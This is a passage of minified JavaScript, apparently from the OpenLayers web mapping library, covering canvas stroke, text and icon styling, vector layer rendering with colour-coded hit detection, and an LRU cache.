e=this.context_,i=this.contextStrokeState_;i?(i.lineCap!=t.lineCap&&(i.lineCap=t.lineCap,e.lineCap=t.lineCap),e.setLineDash&&(h(i.lineDash,t.lineDash)||e.setLineDash(i.lineDash=t.lineDash),i.lineDashOffset!=t.lineDashOffset&&(i.lineDashOffset=t.lineDashOffset,e.lineDashOffset=t.lineDashOffset)),i.lineJoin!=t.lineJoin&&(i.lineJoin=t.lineJoin,e.lineJoin=t.lineJoin),i.lineWidth!=t.lineWidth&&(i.lineWidth=t.lineWidth,e.lineWidth=t.lineWidth),i.miterLimit!=t.miterLimit&&(i.miterLimit=t.miterLimit,e.miterLimit=t.miterLimit),i.strokeStyle!=t.strokeStyle&&(i.strokeStyle=t.strokeStyle,e.strokeStyle=t.strokeStyle)):(e.lineCap=t.lineCap,e.setLineDash&&(e.setLineDash(t.lineDash),e.lineDashOffset=t.lineDashOffset),e.lineJoin=t.lineJoin,e.lineWidth=t.lineWidth,e.miterLimit=t.miterLimit,e.strokeStyle=t.strokeStyle,this.contextStrokeState_={lineCap:t.lineCap,lineDash:t.lineDash,lineDashOffset:t.lineDashOffset,lineJoin:t.lineJoin,lineWidth:t.lineWidth,miterLimit:t.miterLimit,strokeStyle:t.strokeStyle})},e.prototype.setContextTextState_=function(t){var e=this.context_,i=this.contextTextState_,n=t.textAlign?t.textAlign:Uo;i?(i.font!=t.font&&(i.font=t.font,e.font=t.font),i.textAlign!=n&&(i.textAlign=n,e.textAlign=n),i.textBaseline!=t.textBaseline&&(i.textBaseline=t.textBaseline,e.textBaseline=t.textBaseline)):(e.font=t.font,e.textAlign=n,e.textBaseline=t.textBaseline,this.contextTextState_={font:t.font,textAlign:n,textBaseline:t.textBaseline})},e.prototype.setFillStrokeStyle=function(t,e){var i=this;if(t){var n=t.getColor();this.fillState_={fillStyle:Xo(n||Yo)}}else this.fillState_=null;if(e){var o=e.getColor(),r=e.getLineCap(),s=e.getLineDash(),a=e.getLineDashOffset(),l=e.getLineJoin(),h=e.getWidth(),u=e.getMiterLimit(),c=s||Ko;this.strokeState_={lineCap:void 0!==r?r:Bo,lineDash:1===this.pixelRatio_?c:c.map((function(t){return t*i.pixelRatio_})),lineDashOffset:(a||0)*this.pixelRatio_,lineJoin:void 0!==l?l:Zo,lineWidth:(void 0!==h?h:1)*this.pixelRatio_,miterLimit:void 0!==u?u:10,strokeStyle:Xo(o||Vo)}}else this.strokeState_=null},e.prototype.setImageStyle=function(t){var e;if(t&&(e=t.getSize())){var i=t.getAnchor(),n=t.getOrigin();this.image_=t.getImage(this.pixelRatio_),this.imageAnchorX_=i[0]*this.pixelRatio_,this.imageAnchorY_=i[1]*this.pixelRatio_,this.imageHeight_=e[1]*this.pixelRatio_,this.imageOpacity_=t.getOpacity(),this.imageOriginX_=n[0],this.imageOriginY_=n[1],this.imageRotateWithView_=t.getRotateWithView(),this.imageRotation_=t.getRotation(),this.imageScale_=t.getScaleArray(),this.imageWidth_=e[0]*this.pixelRatio_}else this.image_=null},e.prototype.setTextStyle=function(t){if(t){var e=t.getFill();if(e){var i=e.getColor();this.textFillState_={fillStyle:Xo(i||Yo)}}else this.textFillState_=null;var n=t.getStroke();if(n){var o=n.getColor(),r=n.getLineCap(),s=n.getLineDash(),a=n.getLineDashOffset(),l=n.getLineJoin(),h=n.getWidth(),u=n.getMiterLimit();this.textStrokeState_={lineCap:void 0!==r?r:Bo,lineDash:s||Ko,lineDashOffset:a||0,lineJoin:void 0!==l?l:Zo,lineWidth:void 0!==h?h:1,miterLimit:void 0!==u?u:10,strokeStyle:Xo(o||Vo)}}else this.textStrokeState_=null;var c=t.getFont(),p=t.getOffsetX(),f=t.getOffsetY(),d=t.getRotateWithView(),g=t.getRotation(),_=t.getScaleArray(),y=t.getText(),v=t.getTextAlign(),m=t.getTextBaseline();this.textState_={font:void 0!==c?c:No,textAlign:void 0!==v?v:Uo,textBaseline:void 0!==m?m:Ho},this.text_=void 0!==y?Array.isArray(y)?y.reduce((function(t,e,i){return t+(i%2?" ":e)}),""):y:"",this.textOffsetX_=void 0!==p?this.pixelRatio_*p:0,this.textOffsetY_=void 0!==f?this.pixelRatio_*f:0,this.textRotateWithView_=void 0!==d&&d,this.textRotation_=void 0!==g?g:0,this.textScale_=[this.pixelRatio_*_[0],this.pixelRatio_*_[1]]}else this.text_=""},e}(Or),ls=as,hs="fraction",us="pixels",cs="bottom-left",ps="bottom-right",fs="top-left",ds="top-right";function gs(t,e,i){return e+":"+t+":"+(i?to(i):"null")}var _s=new(function(){function t(){this.cache_={},this.cacheSize_=0,this.maxCacheSize_=32}return t.prototype.clear=function(){this.cache_={},this.cacheSize_=0},t.prototype.canExpireCache=function(){return this.cacheSize_>this.maxCacheSize_},t.prototype.expire=function(){if(this.canExpireCache()){var t=0;for(var e in this.cache_){var i=this.cache_[e];0!=(3&t++)||i.hasListener()||(delete this.cache_[e],--this.cacheSize_)}}},t.prototype.get=function(t,e,i){var n=gs(t,e,i);return n in this.cache_?this.cache_[n]:null},t.prototype.set=function(t,e,i,n){var o=gs(t,e,i);this.cache_[o]=n,++this.cacheSize_},t.prototype.setSize=function(t){this.maxCacheSize_=t,this.expire()},t}()),ys=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),vs=null,ms=function(t){function e(e,i,n,o,r,s){var a=t.call(this)||this;return a.hitDetectionImage_=null,a.image_=e||new Image,null!==o&&(a.image_.crossOrigin=o),a.canvas_={},a.color_=s,a.unlisten_=null,a.imageState_=r,a.size_=n,a.src_=i,a.tainted_,a}return ys(e,t),e.prototype.isTainted_=function(){if(void 0===this.tainted_&&2===this.imageState_){vs||(vs=q(1,1)),vs.drawImage(this.image_,0,0);try{vs.getImageData(0,0,1,1),this.tainted_=!1}catch(t){vs=null,this.tainted_=!0}}return!0===this.tainted_},e.prototype.dispatchChangeEvent_=function(){this.dispatchEvent(x)},e.prototype.handleImageError_=function(){this.imageState_=3,this.unlistenImage_(),this.dispatchChangeEvent_()},e.prototype.handleImageLoad_=function(){this.imageState_=2,this.size_?(this.image_.width=this.size_[0],this.image_.height=this.size_[1]):this.size_=[this.image_.width,this.image_.height],this.unlistenImage_(),this.dispatchChangeEvent_()},e.prototype.getImage=function(t){return this.replaceColor_(t),this.canvas_[t]?this.canvas_[t]:this.image_},e.prototype.getPixelRatio=function(t){return this.replaceColor_(t),this.canvas_[t]?t:1},e.prototype.getImageState=function(){return this.imageState_},e.prototype.getHitDetectionImage=function(){if(!this.hitDetectionImage_)if(this.isTainted_()){var t=this.size_[0],e=this.size_[1],i=q(t,e);i.fillRect(0,0,t,e),this.hitDetectionImage_=i.canvas}else this.hitDetectionImage_=this.image_;return this.hitDetectionImage_},e.prototype.getSize=function(){return this.size_},e.prototype.getSrc=function(){return this.src_},e.prototype.load=function(){if(0==this.imageState_){this.imageState_=1;try{this.image_.src=this.src_}catch(t){this.handleImageError_()}this.unlisten_=_o(this.image_,this.handleImageLoad_.bind(this),this.handleImageError_.bind(this))}},e.prototype.replaceColor_=function(t){if(this.color_&&!this.canvas_[t]&&2===this.imageState_){var e=document.createElement("canvas");this.canvas_[t]=e,e.width=Math.ceil(this.image_.width*t),e.height=Math.ceil(this.image_.height*t);var i=e.getContext("2d");if(i.scale(t,t),i.drawImage(this.image_,0,0),i.globalCompositeOperation="multiply","multiply"===i.globalCompositeOperation||this.isTainted_())i.fillStyle=to(this.color_),i.fillRect(0,0,e.width/t,e.height/t),i.globalCompositeOperation="destination-in",i.drawImage(this.image_,0,0);else{for(var n=i.getImageData(0,0,e.width,e.height),o=n.data,r=this.color_[0]/255,s=this.color_[1]/255,a=this.color_[2]/255,l=this.color_[3],h=0,u=o.length;h<u;h+=4)o[h]*=r,o[h+1]*=s,o[h+2]*=a,o[h+3]*=l;i.putImageData(n,0,0)}}},e.prototype.unlistenImage_=function(){this.unlisten_&&(this.unlisten_(),this.unlisten_=null)},e}(m),xs=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Cs=function(t){function e(e){var i=this,n=e||{},o=void 0!==n.opacity?n.opacity:1,r=void 0!==n.rotation?n.rotation:0,s=void 0!==n.scale?n.scale:1,a=void 0!==n.rotateWithView&&n.rotateWithView;(i=t.call(this,{opacity:o,rotation:r,scale:s,displacement:void 0!==n.displacement?n.displacement:[0,0],rotateWithView:a,declutterMode:n.declutterMode})||this).anchor_=void 0!==n.anchor?n.anchor:[.5,.5],i.normalizedAnchor_=null,i.anchorOrigin_=void 0!==n.anchorOrigin?n.anchorOrigin:fs,i.anchorXUnits_=void 0!==n.anchorXUnits?n.anchorXUnits:hs,i.anchorYUnits_=void 0!==n.anchorYUnits?n.anchorYUnits:hs,i.crossOrigin_=void 0!==n.crossOrigin?n.crossOrigin:null;var l=void 0!==n.img?n.img:null;i.imgSize_=n.imgSize;var h=n.src;xt(!(void 0!==h&&l),4),xt(!l||l&&i.imgSize_,5),void 0!==h&&0!==h.length||!l||(h=l.src||D(l)),xt(void 0!==h&&h.length>0,6);var u=void 0!==n.src?0:2;return i.color_=void 0!==n.color?io(n.color):null,i.iconImage_=function(t,e,i,n,o,r){var s=_s.get(e,n,r);return s||(s=new ms(t,e,i,n,o,r),_s.set(e,n,r,s)),s}(l,h,void 0!==i.imgSize_?i.imgSize_:null,i.crossOrigin_,u,i.color_),i.offset_=void 0!==n.offset?n.offset:[0,0],i.offsetOrigin_=void 0!==n.offsetOrigin?n.offsetOrigin:fs,i.origin_=null,i.size_=void 0!==n.size?n.size:null,i}return xs(e,t),e.prototype.clone=function(){var t=this.getScale();return new e({anchor:this.anchor_.slice(),anchorOrigin:this.anchorOrigin_,anchorXUnits:this.anchorXUnits_,anchorYUnits:this.anchorYUnits_,color:this.color_&&this.color_.slice?this.color_.slice():this.color_||void 0,crossOrigin:this.crossOrigin_,imgSize:this.imgSize_,offset:this.offset_.slice(),offsetOrigin:this.offsetOrigin_,opacity:this.getOpacity(),rotateWithView:this.getRotateWithView(),rotation:this.getRotation(),scale:Array.isArray(t)?t.slice():t,size:null!==this.size_?this.size_.slice():void 0,src:this.getSrc(),displacement:this.getDisplacement().slice(),declutterMode:this.getDeclutterMode()})},e.prototype.getAnchor=function(){var t=this.normalizedAnchor_;if(!t){t=this.anchor_;var e=this.getSize();if(this.anchorXUnits_==hs||this.anchorYUnits_==hs){if(!e)return null;t=this.anchor_.slice(),this.anchorXUnits_==hs&&(t[0]*=e[0]),this.anchorYUnits_==hs&&(t[1]*=e[1])}if(this.anchorOrigin_!=fs){if(!e)return null;t===this.anchor_&&(t=this.anchor_.slice()),this.anchorOrigin_!=ds&&this.anchorOrigin_!=ps||(t[0]=-t[0]+e[0]),this.anchorOrigin_!=cs&&this.anchorOrigin_!=ps||(t[1]=-t[1]+e[1])}this.normalizedAnchor_=t}var i=this.getDisplacement();return[t[0]-i[0],t[1]+i[1]]},e.prototype.setAnchor=function(t){this.anchor_=t,this.normalizedAnchor_=null},e.prototype.getColor=function(){return this.color_},e.prototype.getImage=function(t){return this.iconImage_.getImage(t)},e.prototype.getPixelRatio=function(t){return this.iconImage_.getPixelRatio(t)},e.prototype.getImageSize=function(){return this.iconImage_.getSize()},e.prototype.getImageState=function(){return this.iconImage_.getImageState()},e.prototype.getHitDetectionImage=function(){return this.iconImage_.getHitDetectionImage()},e.prototype.getOrigin=function(){if(this.origin_)return this.origin_;var t=this.offset_;if(this.offsetOrigin_!=fs){var e=this.getSize(),i=this.iconImage_.getSize();if(!e||!i)return null;t=t.slice(),this.offsetOrigin_!=ds&&this.offsetOrigin_!=ps||(t[0]=i[0]-e[0]-t[0]),this.offsetOrigin_!=cs&&this.offsetOrigin_!=ps||(t[1]=i[1]-e[1]-t[1])}return this.origin_=t,this.origin_},e.prototype.getSrc=function(){return this.iconImage_.getSrc()},e.prototype.getSize=function(){return this.size_?this.size_:this.iconImage_.getSize()},e.prototype.listenImageChange=function(t){this.iconImage_.addEventListener(x,t)},e.prototype.load=function(){this.iconImage_.load()},e.prototype.unlistenImageChange=function(t){this.iconImage_.removeEventListener(x,t)},e}(Wo),ws=.5,Ss={Point:function(t,e,i,n,o){var r,s=i.getImage(),a=i.getText();if(s){if(2!=s.getImageState())return;var l=t;if(o){var h=s.getDeclutterMode();if("none"!==h)if(l=o,"obstacle"===h){var u=t.getBuilder(i.getZIndex(),"Image");u.setImageStyle(s,r),u.drawPoint(e,n)}else a&&a.getText()&&(r={})}var c=l.getBuilder(i.getZIndex(),"Image");c.setImageStyle(s,r),c.drawPoint(e,n)}if(a&&a.getText()){var p=t;o&&(p=o);var f=p.getBuilder(i.getZIndex(),"Text");f.setTextStyle(a,r),f.drawText(e,n)}},LineString:function(t,e,i,n,o){var r=i.getStroke();if(r){var s=t.getBuilder(i.getZIndex(),"LineString");s.setFillStrokeStyle(null,r),s.drawLineString(e,n)}var a=i.getText();if(a&&a.getText()){var l=(o||t).getBuilder(i.getZIndex(),"Text");l.setTextStyle(a),l.drawText(e,n)}},Polygon:function(t,e,i,n,o){var r=i.getFill(),s=i.getStroke();if(r||s){var a=t.getBuilder(i.getZIndex(),"Polygon");a.setFillStrokeStyle(r,s),a.drawPolygon(e,n)}var l=i.getText();if(l&&l.getText()){var h=(o||t).getBuilder(i.getZIndex(),"Text");h.setTextStyle(l),h.drawText(e,n)}},MultiPoint:function(t,e,i,n,o){var r,s=i.getImage(),a=i.getText();if(s){if(2!=s.getImageState())return;var l=t;if(o){var h=s.getDeclutterMode();if("none"!==h)if(l=o,"obstacle"===h){var u=t.getBuilder(i.getZIndex(),"Image");u.setImageStyle(s,r),u.drawMultiPoint(e,n)}else a&&a.getText()&&(r={})}var c=l.getBuilder(i.getZIndex(),"Image");c.setImageStyle(s,r),c.drawMultiPoint(e,n)}if(a&&a.getText()){var p=t;o&&(p=o);var f=p.getBuilder(i.getZIndex(),"Text");f.setTextStyle(a,r),f.drawText(e,n)}},MultiLineString:function(t,e,i,n,o){var r=i.getStroke();if(r){var s=t.getBuilder(i.getZIndex(),"LineString");s.setFillStrokeStyle(null,r),s.drawMultiLineString(e,n)}var a=i.getText();if(a&&a.getText()){var l=(o||t).getBuilder(i.getZIndex(),"Text");l.setTextStyle(a),l.drawText(e,n)}},MultiPolygon:function(t,e,i,n,o){var r=i.getFill(),s=i.getStroke();if(s||r){var a=t.getBuilder(i.getZIndex(),"Polygon");a.setFillStrokeStyle(r,s),a.drawMultiPolygon(e,n)}var l=i.getText();if(l&&l.getText()){var h=(o||t).getBuilder(i.getZIndex(),"Text");h.setTextStyle(l),h.drawText(e,n)}},GeometryCollection:function(t,e,i,n,o){var r,s,a=e.getGeometriesArray();for(r=0,s=a.length;r<s;++r)(0,Ss[a[r].getType()])(t,a[r],i,n,o)},Circle:function(t,e,i,n,o){var r=i.getFill(),s=i.getStroke();if(r||s){var a=t.getBuilder(i.getZIndex(),"Circle");a.setFillStrokeStyle(r,s),a.drawCircle(e,n)}var l=i.getText();if(l&&l.getText()){var h=(o||t).getBuilder(i.getZIndex(),"Text");h.setTextStyle(l),h.drawText(e,n)}}};function Es(t,e){return parseInt(D(t),10)-parseInt(D(e),10)}function Ts(t,e){return.5*t/e}function bs(t,e,i,n,o,r,s){var a=!1,l=i.getImage();if(l){var h=l.getImageState();2==h||3==h?l.unlistenImageChange(o):(0==h&&l.load(),l.listenImageChange(o),a=!0)}return function(t,e,i,n,o,r){var s=i.getGeometryFunction()(e);if(s){var a=s.simplifyTransformed(n,o);i.getRenderer()?Os(t,a,i,e):(0,Ss[a.getType()])(t,a,i,e,r)}}(t,e,i,n,r,s),a}function Os(t,e,i,n){if("GeometryCollection"!=e.getType())t.getBuilder(i.getZIndex(),"Default").drawCustom(e,n,i.getRenderer(),i.getHitDetectionRenderer());else for(var o=e.getGeometries(),r=0,s=o.length;r<s;++r)Os(t,o[r],i,n)}var Rs=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ps=function(t){function e(e){var i=t.call(this,e)||this;return i.boundHandleStyleImageChange_=i.handleStyleImageChange_.bind(i),i.animatingOrInteracting_,i.hitDetectionImageData_=null,i.renderedFeatures_=null,i.renderedRevision_=-1,i.renderedResolution_=NaN,i.renderedExtent_=[1/0,1/0,-1/0,-1/0],i.wrappedRenderedExtent_=[1/0,1/0,-1/0,-1/0],i.renderedRotation_,i.renderedCenter_=null,i.renderedProjection_=null,i.renderedRenderOrder_=null,i.replayGroup_=null,i.replayGroupChanged=!0,i.declutterExecutorGroup=null,i.clipping=!0,i.compositionContext_=null,i.opacity_=1,i}return Rs(e,t),e.prototype.renderWorlds=function(t,e,i){var n=e.extent,o=e.viewState,r=o.center,s=o.resolution,a=o.projection,l=o.rotation,h=a.getExtent(),u=this.getLayer().getSource(),c=e.pixelRatio,p=e.viewHints,f=!(p[0]||p[1]),d=this.compositionContext_,g=Math.round(e.size[0]*c),_=Math.round(e.size[1]*c),y=u.getWrapX()&&a.canWrapX(),v=y?ke(h):null,m=y?Math.ceil((n[2]-h[2])/v)+1:1,x=y?Math.floor((n[0]-h[0])/v):0;do{var C=this.getRenderTransform(r,s,l,c,g,_,x*v);t.execute(d,1,C,l,f,void 0,i)}while(++x<m)},e.prototype.setupCompositionContext_=function(){if(1!==this.opacity_){var t=q(this.context.canvas.width,this.context.canvas.height,so);this.compositionContext_=t}else this.compositionContext_=this.context},e.prototype.releaseCompositionContext_=function(){if(1!==this.opacity_){var t=this.context.globalAlpha;this.context.globalAlpha=this.opacity_,this.context.drawImage(this.compositionContext_.canvas,0,0),this.context.globalAlpha=t,J(this.compositionContext_),so.push(this.compositionContext_.canvas),this.compositionContext_=null}},e.prototype.renderDeclutter=function(t){this.declutterExecutorGroup&&(this.setupCompositionContext_(),this.renderWorlds(this.declutterExecutorGroup,t,t.declutterTree),this.releaseCompositionContext_())},e.prototype.renderFrame=function(t,e){var i=t.pixelRatio,n=t.layerStatesArray[t.layerIndex];!function(t,e,i){!function(t,e,i,n,o,r,s){t[0]=e,t[1]=i,t[2]=n,t[3]=o,t[4]=r,t[5]=s}(t,e,0,0,i,0,0)}(this.pixelTransform,1/i,1/i),Mi(this.inversePixelTransform,this.pixelTransform);var o=Fi(this.pixelTransform);this.useContainer(e,o,this.getBackground(t));var r=this.context,s=r.canvas,a=this.replayGroup_,l=this.declutterExecutorGroup;if((!a||a.isEmpty())&&(!l||l.isEmpty()))return null;var h=Math.round(t.size[0]*i),u=Math.round(t.size[1]*i);s.width!=h||s.height!=u?(s.width=h,s.height=u,s.style.transform!==o&&(s.style.transform=o)):this.containerReused||r.clearRect(0,0,h,u),this.preRender(r,t);var c=t.viewState;c.projection;this.opacity_=n.opacity,this.setupCompositionContext_();var p=!1,f=!0;if(n.extent&&this.clipping){var d=pi(n.extent);(p=(f=je(d,t.extent))&&!de(d,t.extent))&&this.clipUnrotated(this.compositionContext_,t,d)}return f&&this.renderWorlds(a,t),p&&this.compositionContext_.restore(),this.releaseCompositionContext_(),this.postRender(r,t),this.renderedRotation_!==c.rotation&&(this.renderedRotation_=c.rotation,this.hitDetectionImageData_=null),this.container},e.prototype.getFeatures=function(t){return new Promise(function(e){if(!this.hitDetectionImageData_&&!this.animatingOrInteracting_){var i=[this.context.canvas.width,this.context.canvas.height];Pi(this.pixelTransform,i);var n=this.renderedCenter_,o=this.renderedResolution_,s=this.renderedRotation_,a=this.renderedProjection_,l=this.wrappedRenderedExtent_,h=this.getLayer(),u=[],c=i[0]*ws,p=i[1]*ws;u.push(this.getRenderTransform(n,o,s,ws,c,p,0).slice());var f=h.getSource(),d=a.getExtent();if(f.getWrapX()&&a.canWrapX()&&!de(d,l)){for(var g=l[0],_=ke(d),y=0,v=void 0;g<d[0];)v=_*--y,u.push(this.getRenderTransform(n,o,s,ws,c,p,v).slice()),g+=_;for(y=0,g=l[2];g>d[2];)v=_*++y,u.push(this.getRenderTransform(n,o,s,ws,c,p,v).slice()),g-=_}this.hitDetectionImageData_=function(t,e,i,n,o,s,a){var l=q(t[0]*ws,t[1]*ws);l.imageSmoothingEnabled=!1;for(var h=l.canvas,u=new ls(l,ws,o,null,a),c=i.length,p=Math.floor(16777215/c),f={},d=1;d<=c;++d){var g=i[d-1],_=g.getStyleFunction()||n;if(n){var y=_(g,s);if(y){Array.isArray(y)||(y=[y]);for(var v="#"+("000000"+(d*p).toString(16)).slice(-6),m=0,x=y.length;m<x;++m){var C=y[m],w=C.getGeometryFunction()(g);if(w&&je(o,w.getExtent())){var S=C.clone(),E=S.getFill();E&&E.setColor(v);var T=S.getStroke();T&&(T.setColor(v),T.setLineDash(null)),S.setText(void 0);var b=C.getImage();if(b&&0!==b.getOpacity()){var O=b.getImageSize();if(!O)continue;var R=q(O[0],O[1],void 0,{alpha:!1}),P=R.canvas;R.fillStyle=v,R.fillRect(0,0,P.width,P.height),S.setImage(new Cs({img:P,imgSize:O,anchor:b.getAnchor(),anchorXUnits:us,anchorYUnits:us,offset:b.getOrigin(),opacity:1,size:b.getSize(),scale:b.getScale(),rotation:b.getRotation(),rotateWithView:b.getRotateWithView()}))}var I=S.getZIndex()||0;(L=f[I])||(L={},f[I]=L,L.Polygon=[],L.Circle=[],L.LineString=[],L.Point=[]),L[w.getType().replace("Multi","")].push(w,S)}}}}}for(var M=Object.keys(f).map(Number).sort(r),F=(d=0,M.length);d<F;++d){var L=f[M[d]];for(var A in L){var D=L[A];for(m=0,x=D.length;m<x;m+=2){u.setStyle(D[m+1]);for(var k=0,j=e.length;k<j;++k)u.setTransform(e[k]),u.drawGeometry(D[m])}}}return l.getImageData(0,0,h.width,h.height)}(i,u,this.renderedFeatures_,h.getStyleFunction(),l,o,s)}e(function(t,e,i){var n=[];if(i){var o=Math.floor(Math.round(t[0])*ws),r=Math.floor(Math.round(t[1])*ws),s=4*(Ct(o,0,i.width-1)+Ct(r,0,i.height-1)*i.width),a=i.data[s],l=i.data[s+1],h=i.data[s+2]+256*(l+256*a),u=Math.floor(16777215/e.length);h&&h%u==0&&n.push(e[h/u-1])}return n}(t,this.renderedFeatures_,this.hitDetectionImageData_))}.bind(this))},e.prototype.forEachFeatureAtCoordinate=function(t,e,i,n,o){var r=this;if(this.replayGroup_){var s,a=e.viewState.resolution,l=e.viewState.rotation,h=this.getLayer(),u={},c=function(t,e,i){var r=D(t),s=u[r];if(s){if(!0!==s&&i<s.distanceSq){if(0===i)return u[r]=!0,o.splice(o.lastIndexOf(s),1),n(t,h,e);s.geometry=e,s.distanceSq=i}}else{if(0===i)return u[r]=!0,n(t,h,e);o.push(u[r]={feature:t,layer:h,geometry:e,distanceSq:i,callback:n})}},p=[this.replayGroup_];return this.declutterExecutorGroup&&p.push(this.declutterExecutorGroup),p.some((function(n){return s=n.forEachFeatureAtCoordinate(t,a,l,i,c,n===r.declutterExecutorGroup&&e.declutterTree?e.declutterTree.all().map((function(t){return t.value})):null)})),s}},e.prototype.handleFontsChanged=function(){var t=this.getLayer();t.getVisible()&&this.replayGroup_&&t.changed()},e.prototype.handleStyleImageChange_=function(t){this.renderIfReadyAndVisible()},e.prototype.prepareFrame=function(t){var e=this.getLayer(),i=e.getSource();if(!i)return!1;var n=t.viewHints[0],o=t.viewHints[1],r=e.getUpdateWhileAnimating(),s=e.getUpdateWhileInteracting();if(this.ready&&!r&&n||!s&&o)return this.animatingOrInteracting_=!0,!0;this.animatingOrInteracting_=!1;var a=t.extent,l=t.viewState,u=l.projection,c=l.resolution,p=t.pixelRatio,f=e.getRevision(),d=e.getRenderBuffer(),g=e.getRenderOrder();void 0===g&&(g=Es);var _=l.center.slice(),y=ue(a,d*c),v=y.slice(),m=[y.slice()],x=u.getExtent();if(i.getWrapX()&&u.canWrapX()&&!de(x,t.extent)){var C=ke(x),w=Math.max(ke(y)/2,C);y[0]=x[0]-w,y[2]=x[2]+w,Ne(_,u);var S=ze(m[0],u);S[0]<x[0]&&S[2]<x[2]?m.push([S[0]+C,S[1],S[2]+C,S[3]]):S[0]>x[0]&&S[2]>x[2]&&m.push([S[0]-C,S[1],S[2]-C,S[3]])}if(this.ready&&this.renderedResolution_==c&&this.renderedRevision_==f&&this.renderedRenderOrder_==g&&de(this.wrappedRenderedExtent_,y))return h(this.renderedExtent_,v)||(this.hitDetectionImageData_=null,this.renderedExtent_=v),this.renderedCenter_=_,this.replayGroupChanged=!1,!0;this.replayGroup_=null;var E,T=new Yr(Ts(c,p),y,c,p);this.getLayer().getDeclutter()&&(E=new Yr(Ts(c,p),y,c,p));var b,O=li();if(O){for(var R=0,P=m.length;R<P;++R){var I=ci(m[R]);i.loadFeatures(I,fi(c),O)}b=ti(O,u)}else for(R=0,P=m.length;R<P;++R)i.loadFeatures(m[R],c,u);var M=function(t,e){var i=Ts(t,e);return i*i}(c,p),F=!0,L=function(t){var i,n=t.getStyleFunction()||e.getStyleFunction();if(n&&(i=n(t,c)),i){var o=this.renderFeature(t,M,i,T,b,E);F=F&&!o}}.bind(this),A=ci(y),D=i.getFeaturesInExtent(A);for(g&&D.sort(g),R=0,P=D.length;R<P;++R)L(D[R]);this.renderedFeatures_=D,this.ready=F;var k=T.finish(),j=new rs(y,c,p,i.getOverlaps(),k,e.getRenderBuffer());return E&&(this.declutterExecutorGroup=new rs(y,c,p,i.getOverlaps(),E.finish(),e.getRenderBuffer())),this.renderedResolution_=c,this.renderedRevision_=f,this.renderedRenderOrder_=g,this.renderedExtent_=v,this.wrappedRenderedExtent_=y,this.renderedCenter_=_,this.renderedProjection_=u,this.replayGroup_=j,this.hitDetectionImageData_=null,this.replayGroupChanged=!0,!0},e.prototype.renderFeature=function(t,e,i,n,o,r){if(!i)return!1;var s=!1;if(Array.isArray(i))for(var a=0,l=i.length;a<l;++a)s=bs(n,t,i[a],e,this.boundHandleStyleImageChange_,o,r)||s;else s=bs(n,t,i,e,this.boundHandleStyleImageChange_,o,r);return s},e}(ho),Is=Ps,Ms=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Fs=function(t){function e(e){return t.call(this,e)||this}return Ms(e,t),e.prototype.createRenderer=function(){return new Is(this)},e}(xr),Ls=function(){function t(t){this.highWaterMark=void 0!==t?t:2048,this.count_=0,this.entries_={},this.oldest_=null,this.newest_=null}return t.prototype.canExpireCache=function(){return this.highWaterMark>0&&this.getCount()>this.highWaterMark},t.prototype.expireCache=function(t){for(;this.canExpireCache();)this.pop()},t.prototype.clear=function(){this.count_=0,this.entries_={},this.oldest_=null,this.newest_=null},t.prototype.containsKey=function(t){return this.entries_.hasOwnProperty(t)},t.prototype.forEach=function(t){for(var e=this.oldest_;e;)t(e.value_,e.key_,this),e=e.newer},t.prototype.get=function(t,e){var i=this.entries_[t];return xt(void 0!==i,15),i===this.newest_||(i===this.oldest_?(this.oldest_=this.oldest_.newer,this.oldest_.older=null):(i.newer.older=i.older,i.older.newer=i.newer),i.newer=null,i.older=this.newest_,this.newest_.newer=i,this.newest_=i),i.value_},t.prototype.remove=function(t){var e=this.entries_[t];return xt(void 0!==e,15),e===this.newest_?(this.newest_=e.older,this.newest_&&(this.newest_.newer=null)):e===this.oldest_?(this.oldest_=e.newer,this.oldest_&&(this.oldest_.older=null)):(e.newer.older=e.older,e.older.newer=e.newer),delete this.entries_[t],--this.count_,e.value_},t.prototype.getCount=function(){return this.count_},t.prototype.getKeys=function(){var t,e=new Array(this.count_),i=0;for(t=this.newest_;t;t=t.older)e[i++]=t.key_;return e},t.prototype.getValues=function(){var t,e=new Array(this.count_),i=0;for(t=this.newest_;t;t=t.older)e[i++]=t.value_;return e},t.prototype.peekLast=function(){return this.oldest_.value_},t.prototype.peekLastKey=function(){return this.oldest_.key_},t.prototype.peekFirstKey=function(){return this.newest_.key_},t.prototype.peek=function(t){if(this.containsKey(t))return this.entries_[t].value_},t.prototype.pop=function(){var t=this.oldest_;return delete this.entries_[t.key_],t.newer&&(t.newer.older=null),this.oldest_=t.newer,this.oldest_||(this.newest_=null),--this.count_,t.value_},t.prototype.replace=function(t,e){this.get(t),this.entries_[t].value_=e},t.prototype.set=function(t,e){xt(!(t in this.entries_),16);var i={key_:t,newer:null,older:this.newest_,value_:e};this.newest_?this.newest_.newer=i:this.oldest_=i,this.newest_=i,this.entries_[t]=i,++this.count_},t.prototype.setSize=function(t){this.highWaterMark=t},t}();function As(t,e,i,n){return void 